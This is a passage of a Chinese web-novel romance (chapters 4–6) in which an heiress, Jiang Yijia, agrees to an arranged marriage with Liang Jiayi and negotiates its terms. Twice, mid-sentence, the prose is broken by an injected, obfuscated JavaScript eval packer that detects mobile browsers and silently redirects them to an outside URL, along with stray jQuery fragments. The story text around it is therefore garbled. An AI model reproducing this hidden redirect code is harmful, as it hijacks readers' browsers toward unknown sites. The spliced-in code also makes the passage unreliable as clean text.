梁穆山看着自家孙子冷淡的表情，心头一梗，摆摆手：“行，我安排，你上楼去吧。反正不管把谁嫁给你，都是委屈了人家女孩。” “……” 梁家逸上楼回房间，老头子一个人坐在沙发上还郁闷了好一会儿。 梁穆远年纪大了，既想让亲孙子早点成家，又觉得牵了这条红线不太积德。 转念一想，才把自己安慰好。 梁家逸就是性子冷了些，从前二十五年都没谈过对象，身边连关系亲近些的异性都没有过。 至少是清清白白的，不花心，重责任，比绝大部分富家子弟都好太多。 至于夫妻感情，结婚之后慢慢培养就是。 二十多岁正是血气方刚的年龄，成了家每天低头不见抬头见，就算是冰疙瘩也能融化。 ** 江伊嘉难道拥有一整个自由的周末。 老爷子应该是出门跟梁爷爷钓鱼去了，周六早出晚归，周天也是天刚亮就出门。 江伊嘉原本是想借机去趟港岛，帮吴思婕她们一起弄工作室的事。 但事与愿违，又被其他事绊住脚。 张温雅做事雷厉风行，周六一回苏城就把广告设计的需求整理好发给她，顺带还有他们品牌过往五年的广告策划案和图文。 再怎么说，他们工作室也是三个刚毕业大学生新开的，非常缺乏经验。 距离冬季饮品宣传期还有三个月，张温雅这么早发给她，应该也是给自己预留时间，以免她们做得不合格，好找别家公司重做。 江伊嘉能理解，但更想用这次合作当敲门砖，拿下往后更多的订单。 她一身干劲，早上就开始研究收到的广告图，分析需求构思创意。 在书房埋头苦干两天，周日傍晚，老爷子钓鱼归家，让佣人叫她下楼吃饭。 江伊嘉父亲去世后不久，母亲也改嫁。 江家老宅里现在除了佣人，长住的也就是老爷子和她。 江伊嘉踩着拖鞋啪塔啪塔下楼，“爷爷今天这么早回来啊？” 她往餐厅走，“今天钓上鱼了吗？不会又给放生了吧。昨天我才跟你说，你们把鱼钓上来再放生，鱼嘴巴都被钩破了，放回去也活不了。” 江济康洗完手，轻敲了下她额头。 “就你知道的多。今天没钓鱼，我跟你梁爷爷下棋去了。” 江伊嘉“哦”了声，玩笑道：“今天没去祸害小鱼。” 她吃饭的时候习惯看视频或者电视，但江济康不让。 祖孙俩坐在餐桌两侧，闲聊着吃晚饭，气氛还算温馨。 江济康时不时看她一眼，有话要说的样子。 等到这顿晚饭快吃完，老爷子才冷不丁问：“伊嘉，前天见到梁家逸，对他印象怎么样？” 江伊嘉抬头，预感她爷爷可能又要提给她介绍对象的事，在试探她的想法。 她模棱道：“就那样吧，鼻子是鼻子眼睛是眼睛的。” “……” 江济康皱了皱眉：“好好说话。” “算了算了。” 他严肃道：“我跟你梁爷爷这两天都商量过了，要是你们两个孩子都觉得可以，就尽快把这门亲事定下来。” “？” 4. Chapter 4 江伊嘉虽然早有心理准备，但没想到在她爷爷这里进度这么快，也就见了两面，婚事都要帮她定下来了。 她有点懵，没忍住脱口而出：“是不是有点草率了啊？” 江济康横她一眼，眉毛拧得比她还深，声音也提高了一个度，中气十足的：“草率什么草率，我安排的不比你们小年轻随便认识个不知底细的人就要结婚靠谱得多？” “我跟你梁爷爷几十年的老相识了，梁家的情况我清楚得很。这马上万泰就要跟江盛签五年的合作协议，顺利的话以后也是要长期合作的。” “抛开这些不谈，家逸那孩子也是个正派人，长得一表人才，能力也强，性格还稳重。跟梁家其他人不一样，他父母都是大学教授，把他教育得从小就规规矩矩。” 江伊嘉无意识戳着筷子，内心有点复杂。 …她今年才满二十二，大学刚毕业，连恋爱都没谈过。 这种情况，任谁突然被安排好一门婚事，心情都很难不复杂。 江济康话匣子一打开，跟去集团开董事会似的，一本正经从正反两方面跟她分析其中利害。 正面就是诸如她和梁家逸年龄合适、家境合适、联姻是两家利益最大化的结果。 再顺带提一些梁家逸这人多么优秀、履历多么辉煌、年轻有为云云。 反面来看，她迟早都是要结婚的，门当户对又年龄相仿的名门子弟里，就江济康的了解，不论品行修养还是身家地位，没人能比得上梁家逸。 若是找个家世不如江家的，知人知面不知心，谁知道别人究竟是图她什么。 江济康还举出了一堆例子也印证他的观点。 吃完晚饭，江伊嘉硬生生又坐在餐椅上听她爷爷发表了长达一小时的演讲，脑袋嗡嗡的，耳朵都要起茧子。 等说的差不多，江济康喝了口茶，沉沉叹声气，看着她，语重心长地说：“伊嘉，你爸走得早，妈妈也有自己的家庭，爷爷现在年纪大了，身体一年不如一年，也不知道能再陪你多久。现在最大的愿望，就是给你找个好人家，哪天真的两眼一闭了，才能安心。” “家逸接管万泰这两年，他伯公也没少给他物色结婚对象。现在年轻人都浮躁，想法也新潮的很，合适的男人不好找。就像你周爷爷、李爷爷他们家孙子，别说你了，我都看不上眼。现在江盛和万泰要合作，就借着这个机会把你们的事定下，没坏处。可能你是觉得有点突然，但孰轻孰重，你自己好好想想吧。” … … 江伊嘉真的去想了，晚上躺在床上还在琢磨。 说到底还是给她安排了一场联姻，对象是个二十多年跟她只见过两面的男人。 江济康跟她说，梁家逸这些年心思一直放在学业和事业上，之前从未交往过女朋友。 她原本想问，那就不怕他是性冷淡，或者是喜欢男人？ 但这两种可能性对老爷子来说可能都有点超纲，不问也罢。 对她来说，去港岛联姻的唯一好处就是能自由地开工作室，做其他任何她想做的事。 至于坏处… 大概就是牺牲她连个胚胎都没有的爱情。 人生的前二十二年，她也还没谈过恋爱，没遇到过一个瞧得上眼的。 诗人裴多菲有言：生命诚可贵，爱情价更高，若为自由故，两者皆可抛。 夜晚辗转反侧，江伊嘉拿起手机，给吴思婕发了条消息。 1+1+1+1+1+…：【帮我打听打听那个梁家逸呗？】 * 工作日一到，江伊嘉的生活又步入了所谓“正轨”。 江济康原本给她安排的岗位在设计部，但她压根就没想在自家公司干，半借口半真诚地推辞说：江盛的设计部招的是工业设计专业，而且都要求三年以上的工作经验。她是学平面设计的，专业不对口，又没经验，也不好平白占个位置。 结果就是江济康翻了她当年私自换专业的旧账，把她安排到不会出错的后勤部打杂，美其名曰‘历练’，实则坐办公室里虚度光阴。 周一上午行政部例行开晨会，后勤部办公室的员工也要参加。 江伊嘉正低头看着手机，心不在焉来到会议室门口，一抬头，发现周围乌泱泱站着一群保洁阿姨，把会议室围的水泄不通。 小唐过来跟她解释才知道，上周五负责法务部的保洁做卫生的时候扔了实习生放在垃圾桶上未拆封的快递文件。 文件很重要，但已经被垃圾车运到区回收站了，全体保洁加班去回收站找了两天没找到，还得承担责任扣工资。 外加上周公司五楼卫生间的卷纸和洗手液失窃，有人一直怀疑是保洁偷的，调了监控也没查到人，两件事叠在一起，闹得保洁部群情激奋要闹罢工。 江伊嘉：…… 这都什么乱七八糟的。 难得遇到如此‘复杂’的问题，原本两小时能开完的晨会，江伊嘉也跟着在会议室坐了一上午。 顶着个后勤副主管的title，她时不时还会被cue发表意见，没法摸鱼。 好不容易熬到散会，江伊嘉才有空看一眼手机。 吴思婕我的神：【主要就是打听他是不是性冷淡、是不是gay对吧？】 吴思婕我的神：【你联姻对象真就定他了？那背调得做全面，等着，我慢慢给你查。不过上面两个问题，茶茶估计能打听得更清楚，她认识的人多。】 江伊嘉就改私聊为群聊，在三人小群里把茶茶艾特出来，三言两语解释情况。 宋秋茶：【这么突然？】 宋秋茶：【交给我吧，保证完成任务！敬礼:/】 宋秋茶：【就算是商业联姻，也不能让我们小公主被同妻啊！我gay蜜贼多，再是深柜都能给他挖出来！】 “……” 吴思婕：【其实我觉得你直接问他也行，不对，你跟他是不是连联系方式都没留过？】 1+1+1+1+1+…：【是啊。】 江伊嘉从群聊界面切出来，视线下移，看到通讯录里有个新的小红点。 微信id就叫梁家逸。 跟以往几次的经验一样，这人确实一点都不经念叨。 港岛人更常用的聊天软件并不是微信，梁家逸这号看着也像是没怎么用过。 江伊嘉点进朋友圈，毫不意外看到一条横线，上面朋友圈背景都是一片灰。 应该不是对她不可见，而是从来没发过。 这人的头像… 一副黑白的水墨画，跟她爷爷的微信头像几乎一模一样。 要不是id就挂着“梁家逸”三个大字，江伊嘉会以为是他爷爷用智能机操作失误不小心把她删了又加回来。 她托着腮，手机放在办公桌上。 嗡的震动一下，新好友发来消息。 梁家逸：【你好，我是梁家逸。电话是976****21，如有事可直接电话联系。】 “……” 很商务，很正式，意料之内的画风。 既然对面没先提联姻的事，江伊嘉似乎也没必要提，不然说什么、问什么都有点尴尬。 江伊嘉觉得索然无味，加好友后连备注都用不着改，参照他的格式，说了句“你好”后把自己的号码也发过去。 对面也没再回复。 - 几天后下班时间，江伊嘉在地下停车场遇到她堂哥江敬宇。 也是一副精英打扮，刚从外面回来的样子。 两人驻足打了个招呼。 江伊嘉：“你不下班？” 江敬宇让身边的助理先上楼，笑说：“加班，还有点事没忙完，明天一早还要去港岛出差。” 小时候都住在江家老宅的时候，堂兄妹两人关系就不错，江伊嘉父亲去世，跟母亲回京市再到出国，联系都没断过。 江伊嘉：“港岛？” 江敬宇笑着说：“是啊，去万泰，跟你未婚夫签约。” “……” 江伊嘉恹恹地瞥他一眼。 江敬宇看了圈周围无人，压低声音：“小辈的婚姻大事上，老爷子是专横了点，伊嘉，你是怎么想的？要是真不想那么快结婚，我也帮你一块好好跟爷爷说说。” 江伊嘉挽了下头发，“你帮我说也没用啊。离得这么近，总不能像当年在美国那样诓他。” 江伊嘉在美国念高中时，江济康让她大学申请管理专业，她没听，自己埋头做了作品集，申了另一所学校的平面设计。 老爷子知道之后怒了，派正在哈佛读大学的江敬宇去加州盯着她重新申请。 江敬宇帮她一起扯了个谎，顺便添油加醋，跟江济康说重新申请时间来不及，考试也来不及准备，如果真要换专业再申，还得在G12蹲个好几年。 老爷子这才无奈作罢，由着她去。 江敬宇笑了下：“不过我说真的，以男人看男人的眼光，那个梁家逸真的不错，各个方面。” “…我看你这次就是跟爷爷统一战线的，一个唱红脸一个唱白脸，说的都是差不多的话。” 江伊嘉小嘴叭叭的，还有空顺便看一眼手机。吴思婕在群里发的工作室照片，还让她们挑选桌椅等陈设，看得她心里愈发痒。 她眼珠一转，抬头看向她堂哥：“对了哥，你是明早去港岛？” 江敬宇：“是啊，刚才跟你说了，我去跟梁家逸签合同。” 江伊嘉眸光闪动，眼含期待，试探着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15309931|167243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问：“有没有可能，你带上我一起过去，你就跟爷爷说，我是跟你学习观摩去的。” 江敬宇倏地笑了起来：“怎么还口是心非的，想去港岛看未婚夫就直说，爷爷肯定也巴不得让你们俩多相处相处。” “…………” 江伊嘉白了他一眼，没好气道：“谁看他啊，我是办正事去的。” - 隔天虽然是工作日，但有江敬宇背书，江伊嘉名正言顺地抛下后勤部那摊子杂事，动身前往港岛。 这一消息也通过江济康，同步传到梁穆山，再传至梁家逸耳中。 清早梁家逸刚到集团总部的办公室，就接到梁穆山的电话。 “伊嘉今天来港岛，你好好招待一下。上次我问老江要了她联系方式，你跟人家联系没？” 梁家逸桌上堆着待处理的一叠文件，平声道：“还没来得及。” 梁穆山：“你怎么回事？我这都找人帮你算日子了，你都没跟人家伊嘉联系过。虽然是联姻，但也是现代社会了，你这是要像古代那样进洞房才掀盖头？” “……” 助理在办公室外敲门。 他上午除了跟江敬宇签约，海外分公司还有个视频会要开。 梁家逸没什么时间多言，应下今天联系。 婚姻大事，就算两家长辈谈得再好，他本意也的确是要找江伊嘉亲自聊聊的。 毕竟，要跟他联姻的是她。 只是，这一天几乎都在连轴转，到傍晚下班时间，梁家逸才得闲，坐在窗边的办公桌后，从通讯录中找出一个号码。 … … 江伊嘉清早到了港岛，跟堂哥分别后，就直接去往工作室。 办公区已经按她的设计图在装修，她和吴思婕、茶茶三人一起，跑了一天家具城。 “你俩看的那个椅子严重超预算，现在还没盈利呢，装修上花得已经够多了。” “好好好，我们换一个就是。” “不当家不知柴米油盐贵啊，以后招人、运营、宣传都要花钱，启动资金就这么多，总不能一缺钱就又问家里要，我们是要赚钱的，不是光花钱的。” 江伊嘉和茶茶都低着头，虚心听训。 港岛核心商圈的租金高昂，三人刚开始创业，只在写字楼里租了几间打通的办公室，起租时间也有要求，只场地这一项，都已经有大笔支出。 从家具城出来，三人准备再回去看看装修情况，顺便量窗户尺寸。 在路边下车去往写字楼的路上，途径一座高耸入云的摩天大楼，江伊嘉抬了下头，看到顶上“万泰集团”四个大字。 吴思婕：“哦对，万泰也在这，一整栋楼六十多层都是他们家的，我们租的那栋写字楼好像也是他们的。唉，不过我们别想了，设计公司也开不成这规模，以后我们能把那一层包下来就算是很成功了。” 茶茶：“伊嘉，你前几天问的事我都帮你打听差不多了。99.9%确认是直男，但确实没有过恋爱经历，港岛、英国都没有过前女友。所以99.8%，应该是性冷淡。” “不过他英国留学期间的毕业照我都要到了，长得是真帅啊，那张大合照里五十多号人，我一眼就看到他了，绝世大帅比！我觉得这波不亏。” “……” 江伊嘉正准备开口，手机铃声响起。 一个陌生号码，底下标着港岛ip。 她接起来，说声“您好。” 听筒里传来有些熟悉的声音，低沉中带着冷感，嗓音很有磁性。 “江小姐，我是梁家逸。” 江伊嘉原地站住：“啊…” 电话里，梁家逸语速缓慢，还是那种礼貌又毫无感情的冷淡语气：“抱歉，早上听家里人说起江小姐来港岛，没来得及招待。” 吴思婕和茶茶看到她五味杂陈的表情，都八卦地把耳朵往她手机那边凑。 虽然听起来他也没什么歉意，江伊嘉还是说：“…没关系没关系。” 她不需要招待。 “江小姐如果有空。” 就像约谈公事一般，梁家逸徐徐说：“我们最好还是见面谈一下，现在方便的话，可以告诉我你的位置，我让人去接你。” 呃。 好像单独见面谈谈也是有必要的。 江伊嘉又下意识抬头看了眼，回答：“我现在啊…就在你们公司楼下，中环这边。” 电话那边，梁家逸平静道：“好，稍等五分钟，我让助理接你上楼。” 他顿了下，说：“江小姐以后最好先提前打通电话，我不一定一直在公司。” 江伊嘉：“…？” 天地良心啊，她只是路过，不是专门来找他的。 5. Chapter 5 上午在万泰总部的顶楼，刚办过江盛和万泰的签约仪式，不少媒体也在场。 这会儿新闻报道已经出来了，不光是财经类媒体在网络上运营的账号，甚至港岛电视台和广播台的晚间新闻也迅速出了报道。 万泰地产和江盛建材都是国内赫赫有名的老企业，市值上千亿，横跨内地和港岛两岸，梁家和江家两个家族也是常年在福布斯中国富豪榜的第一页。 媒体报道的内容不止签约本身，还有长篇大论关于港深两地经济情势、房地产行业未来走向等等分析。 正是晚饭时间，今天这场签约在万泰集团内部，也是被重点谈论的话题之一。 当然，茶余饭后这种时间，员工们的闲谈就不像各大媒体那样官方正式。 譬如此时，在万泰行政部的茶水间。 “Kalyn，你们早上是不是上楼布置会场了？” “不止布置会场，会务不一直也是我们组负责。这还是第一次看见江盛的江总本人，长得比照片上还帅，才不到三十，年轻有为啊。” “我刚看到新闻上的照片了，我们梁总那不是更叫年轻有为？梁总今年才二十五吧，牛津毕业，刚回国就接管了公司。我觉得梁总长得也比那个江总帅。” “这就不好比了，完全不是一个类型的。而且万泰这不是情况特殊吗，你去年才来，你是不知道，梁总上任之前，集团里那叫一个乌烟瘴气…不过，那个江总已婚，我们梁总现在可还单身着呢。” “单身还是已婚的，跟我们又没关系。怎么，上班被资本家剥削得还不够，现在精神也要被剥削了？” “…我就随便这么一说，打工人哪敢对老板有想法也，现实又不是偶像剧。而且，据我听到的风声啊，梁总可能很快也不单身了，这次梁家跟江家，不一定只是生意上的合作。” “什么意思？展开说说？” …… - 江伊嘉这会儿确实没什么大事，今晚本来的计划是回工作室量完窗户，再跟茶茶一起回家。 大学期间三人就住在一起，茶茶的父母去看过她几次，一来二去，跟江伊嘉也熟了，对她印象还很好。 这次听说她要来港岛几天，让茶茶热情邀请她过去住。 万泰总部楼下，在吴思婕和茶茶八卦的小眼神中，江伊嘉摆摆手：“算了，反正迟早也得跟他见面聊聊。” “但看他这大忙人的架势，估计也聊不了多久，你们先回去量窗户，我完事之后去找你们。” 告别两个小姐妹，江伊嘉站在楼门口，等了大概三分钟，就有个穿白衬衫肤色偏黑的男人下楼。 挺巧，还是个熟脸，上周在她家公司才有过一面之缘。 杨子文在门口环视一圈，精准捕捉到一个样貌出众，气质绝佳的年轻女孩。 他收起输好号码的手机，走过来，用不太标准的普通话，尽可能咬字清晰地问：“您好，请问是江伊嘉江小姐吗？” 江伊嘉：“是我。” 杨子文做了个请的手势，礼貌道：“江小姐好，我是梁总的助理杨子文，梁总让我接您上楼，您这边请。” 下班时间，个别清闲部门的员工三五结伴往外走，一楼门禁闸机口人来人往。 江伊嘉跟着杨子文进了扇单独刷卡才能进的门，穿过无人的通道，来到一处专门的电梯间。 应该是为安全和隐私设置的专门通道，大理石地面被清洗的很干净，头顶灯光一照，亮的能照镜子。 她心不在焉地在想，江盛应该也做个这样的设计，这样她就不用每天上下楼多跑两回。 就是有点浪费办公用地，但万泰财大气粗，应该不在乎这些。 进了电梯，杨子文目视前方站在按键侧面，很自觉地做个只办事不说话的哑巴助理。 但他在电梯的镜面里看清江伊嘉的脸时，表情管理能力突然丧失了两秒，而后犹豫着问：“上周我陪同梁总去深城跟江总开会，是不是…见过江小姐？” 江伊嘉笑了下，坦言说：“是见过。” 杨子文神色更复杂了，“是不是那个电梯维护…” 只是打工的助理，公事公办，又事出有因，虽然江伊嘉事后跟姐妹吐槽过几句，但不可能为这芝麻大点小事为难别人。 她玩笑的语气说：“是，杨助理当时还叫我江师傅来着。别放在心上，我确实是在后勤部，叫‘师傅’也没错的。” “……” 两句话的功夫，电梯就已经到了顶楼。 阿文连声道歉，心里还是凉了大半截。 他这么年轻就能被分到总裁办当助理，除去学历、专业等硬性条件不谈，靠得就是眼明心亮。 江家和梁家刚刚达成合作，下午，自家总裁就让他下去接江家千金。 要知道，他进总裁办的这一年多，还没见梁总在他办公室接待过非工作关系的异性，用后脑勺想想，事情也应该不简单。 可能，在自家老板婚姻大事刚有眉目的时候，他就把未来总裁夫人给得罪了。 - 江伊嘉迈进办公室的磨砂玻璃门时，梁家逸正独自坐在办公桌后，在一个黑皮的笔记本上写什么东西。 跟上次见面时不同，他只穿着衬衫，衣袖整齐地挽起来，被一枚银色的袖扣别住，高挺的鼻梁上仍戴着那副眼镜，举止斯文优雅。 但是，在笔记本上写字的这个动作，让江伊嘉想起他爷爷。 梁家逸用的甚至也是钢笔。 他爷爷那个年代的人，还不怎么习惯全无纸化的办公模式。 记得她小时候，江济康每次要办什么事、开会，或者做计划之前，都要先在本子上做记录，还经常教育她说“好记性不如烂笔头”。 梁家逸的办公室很大，大概占据了这一层楼一半的空间，门对面是整面的落地窗，夕阳西下，周围笼罩着一层朦胧的金色光晕。 除了办公桌外，墙边整齐摆放着各种收纳柜，他的西装外套挂在桌边的衣帽架上，空气里有淡淡的檀木香味。 看到她进来，梁家逸抬了下头，起身，姿态和神情仿佛带着与生俱来的清贵。 “江小姐。” 江伊嘉往窗边会客区的沙发方向走，不动声色地澄清刚才电话里的误会，唇边也挂着模式化的微笑，说：“原本想明天或者后天约梁先生见一面的，今天跟朋友在附近有些事，正好路过。” 阿文给两人倒了茶，梁家逸示意他先出去。 偌大的办公室只剩下他们两人。 梁家逸手里还拿着刚才那本黑皮的纸质笔记本，坐在她对面的沙发上。 江伊嘉虽然算是擅长社交，但现在也难免感到局促。 这好像是他们第一次独处，而且不出意外，谈的就是有关联姻的事。 …跟一个才见过几面的陌生男人谈这种事，再社牛的人应该都很难完全淡定。 梁家逸喝了口茶，看着她，笑容乍一看挺温和，但其实还是淡淡的。 “江小姐不用紧张。” 他语速缓慢，开门见山道：“今天约见面，主要是聊聊关于家里安排的婚事，江小姐怎么看。” 江伊嘉攥了攥衣角，尽可能表现地大方得体。 但还是别扭。 这样面对面坐着，对面男人好看的样貌就直接怼到她眼里，说的是“婚事”，但气氛就好像是两个人要谈判或者在开会。 为缓和气氛，她皮笑肉不笑地扯了下嘴角，说：“叫我伊嘉就好…” 梁家逸音质偏凉，薄唇翕动，溢出两个音节。 “伊嘉。” “……” 气氛并没有因为称呼的改变而轻松。 江伊嘉也决定快点步入正题，调整好情绪和态度，装作乖巧的样子说：“既然家里都决定好了，我听家里的安排。” 她顿了下，委婉地问：“但毕竟我们还不太熟，家里的意思，应该是已经定下来了。关于以后、就是结婚后，我们的关系，梁先生怎么想？” 两秒后，梁家逸看着她，言简意赅地表明：“尽可能和睦相处，如果不行，好聚好散。” 江伊嘉眼睛一亮。 好聚好散啊，那还挺好。 她忽然觉得如果是毫无感情基础的联姻对象，像梁家逸这样性格冷淡的也挺好，不然如果太热情，她也许还不知道该怎么招架。 江伊嘉点头：“可以。我也这么想。” 梁家逸平声道：“你家在深城，婚后是想搬来港岛，还是继续留在深城。如果想在深城长住…” 他话还没说完，江伊嘉不用听‘如果’之后的内容，这次想都不带想的，不假思索地说：“搬来港岛。” 她结婚的主要目的就是来港岛，还留在深城，她图什么。 话一出口，她又想多解释几句，担心自己回答的太快是不是会显得很不矜持。 但梁家逸微颔首表示听到，就算是达成一致，揭过这一趴。 “还有婚期，江小姐…”他顿了半秒，“你有想法或者要求吗。从各方面考虑，婚礼会办得隆重些，两家要邀请的宾客都不少，所以日期不会太近。” 江伊嘉：“这个倒是不急。” 梁家逸轻“嗯”了声，似是很从容的样子，继续道：“领取婚书的日期也要慎重，我家这边请了人正在算。” 他看着她，省略了不太自然的称呼，问道：“想近些还是迟些？” 这问题一出，江伊嘉脑中天人交战。 在深城多待一天，就要在后勤多浪费一天时间。这趟来了港岛，两相对比，她的宝贝工作室诱惑力更加强烈。 只是，回答前者，好像显得她很着急。 但在自由和梦想面前，面子算什么。 江伊嘉很快转过这个弯，把自己安慰好。 “…近点吧。”她补了句：“反正也是迟早的。” 坐在她对面的男人第一次露出有些意外的神色，但转瞬即逝，又恢复了那面具似的寡淡表情，只道：“好。” 大事都确定好，余下就是些无足轻重的。 梁家逸有条有理地一一询问。 比如跟双方家长约定时间拜访，比如是否需要签婚前协议。 说到婚前协议，江伊嘉也很果断地回答要签。 虽然双方家境差不多，但就个人资产来说，她应该相比梁家逸差得不是一星半点，未来几年能赚的钱也比他少太多。 江伊嘉也并不是图他的钱，既然都“好聚好散”了，那签婚前协议也是应该的。 她觉得梁家逸也是这么想，只是出于绅士风度，把问题抛给她。 梁家逸点了下头，也没就此问题再多言。 今天的会议…哦不，是见面，也差不多到尾声。 梁家逸垂眸扫一眼笔记本，进入最后一项议程，依然温和有礼地说：“关于婚房，在港岛我名下有几处房产，整理好后发你一份详细信息。如果都不喜欢，可以告诉我需求，我再另买。” “……” 这朴实无华的大气。 江伊嘉喝了口茶，站起身，淡笑了下说：“好，我先看看…谢谢梁总。” “不用客气。” 梁家逸也起身，走流程般地淡声问：“今天晚饭有安排吗。” 江伊嘉：“有了，约了朋友，就不耽误梁总工作了。” 低了下头，余光看见他桌上的笔记本，上面工整地写着几个词： 「婚礼」 「领取婚书」 「婚后住房」 “……” 还真提前做了笔记。 年纪轻轻的，怎么行事作风能这么老派，简直就是年轻英俊版的江济康。 江伊嘉不好多看，很快移开目光，抬头。 “那就不多留你了。”梁家逸把她送到门口：“有事随时联系，注意安全。” 江伊嘉穿着高跟鞋还比他矮了半个头，眼眸微垂，看到他系的一丝不苟衬衫扣子。 平整的领口上方，脖颈中间的位置喉结突起，肤色冷白，小臂上恰到好处的肌肉线条延伸到衬衫衣袖里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15309932|167243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离得近时，又能闻到他身上清淡的木质香味。 画风和场所都太过正式，江伊嘉差点就想在出门前跟他友好握个手说声“合作愉快”。 好在最后还是回过神，只淡笑说：“好，梁总先忙。” … … 从万泰楼里出来，江伊嘉神清气爽地走向她们工作室所在的写字楼。 一进门，她刚才端庄的大家闺秀模样就全然丢掉，扬声叫道：“老吴，茶茶，在哪呢？” 该说不说，跟梁家逸谈事的效率还挺高。 不到半个钟的时间，基本把婚前的所有待定事项都商议妥当。 吴思婕和茶茶听见声音，嗖得从旁边隔间里窜出来。 “这么快！” 工作室还在装修，附近几张凳子都是装修工人临时带来的，上面有白色的涂料点，江伊嘉看了一眼，没坐，抱着手臂站在门边。 “就是商量点结婚的事，正常速度吧。” “……” 吴思婕笑说：“正常情况下，这种事情商量几年都不算久，你这倒好，就半小时。” 茶茶好奇地问：“聊得怎么样啊？” 江伊嘉又回忆了下，中肯地评价道：“还行吧。” “那就是真定下来了啊…” 茶茶抽了抽嘴角：“太迅速了，我都有点没反应过来。你这心理接受能力还是挺强的，要是哪天我爸妈给我介绍一对象，还招呼都不打就帮我把婚事都订好了，我肯定得跟他们大战三百回合，说不定还直接离家出走。” 江伊嘉其实也感觉有点不真实，“前阵子我还真打算‘离家出走’试试了，但‘出走’也是来港岛，现在这…殊途同归嘛。还不用影响家庭团结。” “再说，就算是联姻，结了婚不还是能离吗…” 她有个比他大挺多的表哥，当年也是商业联姻，家里给安排的。 婚后夫妻俩实在过不到一起，天天吵架、日常分居，两年之后就去办离婚了。当然，他们一开始是背着家里偷偷离的，后来家里长辈知道后都大发雷霆，但又不能绑着两人去复婚，也就那么算了。 茶茶有点怀疑的语气：“你们俩这家庭，结了婚哪还有离的可能性。” 江伊嘉也不好拿她表哥的家事举例子，只道：“有什么不能离的，手和腿都长我自己身上…而且，姓梁的刚才也说了，好聚好散。” 吴思婕露出诧异的表情：“他真这么说啊？” 江伊嘉挑眉：“不然呢？” 茶茶想了想，“像梁总这样的，应该说，‘做了我的女人，你这辈子都插翅难逃’，或者，‘你是我的女人，永远都别想摆脱我’。” “…………” 江伊嘉白她一眼：“平时台湾网站那些不健康的言情小说还是少看点，容易把脑子看坏。” 茶茶：“你自己不是也看！” 话题有跑偏的趋势，吴思婕马上拉回来。 “我帮你查的信息还没整理好，不过也差不多了，这周就能发你。一切正常的话，就等着你早日来港岛跟我们正式团聚了。” 从工作室离开，三人一起去了茶茶家。 港岛稍微有钱有势些的人家，房子基本都在山上，茶茶家也不例外，在西边一处依山傍水的别墅区。 江伊嘉性格开朗，在长辈面前嘴也甜，时不时还能说两句恰到好处的玩笑话，很讨茶茶父母喜欢。 今晚的话题主要围绕在她突如其来的婚事上。 晚饭后，江伊嘉跟他们一家人坐在客厅看电视时，她手机振动一声，收到梁家逸的消息。 这人的办事效率还是很高，下午才说要整理他房产的信息发给他，这会儿文件就真的传过来了。 江伊嘉打开文件，看到里面的表格。 住宅地址、面积、基本布局，以及各种配套设施，都清晰地列在表格里。 江伊嘉对港岛并不熟，虽然好几个本地土著就坐在身边，但毕竟这些信息属于梁家逸的隐私，她也不便直接拿给旁人问。 于是她挨个把地址复制进谷歌地图，低着头慢慢看。 其他倒是不要紧，梁家逸的房子，舒适度和安全性什么的应该都不会差。 最重要的是要离她们工作室近，以后通勤方便。 江伊嘉也很高效，收到消息后的十几分钟，就把其中一条住宅的信息截图并划线，发回给他。 1+1+1+1+1+…：【这个就可以的。】 - 梁家逸今晚没有应酬或其他活动，从万泰总部大楼离开，就径直回了住处。 他的作息一向规律，非特殊情况，每晚八点前下班到家。 处理些集团余下的工作，或者在书房看书，十点准时回卧室洗澡睡觉。 梁家逸收到消息时，就在书房。 窗帘没拉，公寓层顶的视野绝佳，外面是霓虹璀璨的城市夜景。 从回国起，他就一直独自住在半山这套公寓，原因无他，只是因为离万泰总部比较近。 且公寓面积不算太大，节约了许多时间，他平时大多时间都在公司，也不需要住家的佣人。 梁家逸的确不太常用微信这个社交软件，注册几年来加过的好友只有个位数。 听到消息提示音，他拿起手机。 现在的聊天列表里除了新闻推送，只有一个人。 备注为“江伊嘉”，头像是淡紫色的一张画。 梁家逸点开她发来的图，修长的两根手指划过屏幕，放大。 她圈出的正是他此时住的这套公寓。 梁家逸神色清淡，回复一个“好”字。 他摘下眼镜，缓慢抬手揉了揉眉心，站起身，走出书房，又似是想到什么的样子，下意识驻足，环视一周。 偌大的房间空旷又安静，楼层高的缘故，除了空调和空气净化器极小的运作声外，再听不到任何其他声音。 他暂时还无法想象。 这屋子里住进另一个人、一个跟他还不太熟悉的女人，将是什么画面。 6. Chapter 6 晚上，吴思婕给家里打过电话，也没回家。 别墅里明明多的是客房，三个人非要一起挤在茶茶的房间里睡，好在床有两米多宽，睡三个人也并不拥挤。 熄了灯，自然而然到了闺蜜间的夜谈时间。 吴思婕问：“刚在客厅的时候你爷爷又给你发微信催你回家了？” “我爷爷要是催我就直接打电话了。” 江伊嘉掩面打了个哈欠：“微信对他来说就是养生推送转发助手，每天只会给我发一些乱七八糟的养生资讯。” 吴思婕：“那我刚看见你跟你爷爷发微信呢。” 江伊嘉脑子转了个弯，倏而笑了下：“哦，不是我爷爷。” 她拿起手机，点到梁家逸微信的个人信息页：“我刚加的时候也懵逼了一下，他跟我爷爷头像是不是特别像？” 两人凑过去看了眼，都笑：“要是没这个名字，都分不出来哪个是你爷爷，哪个是你未婚夫。” “……” 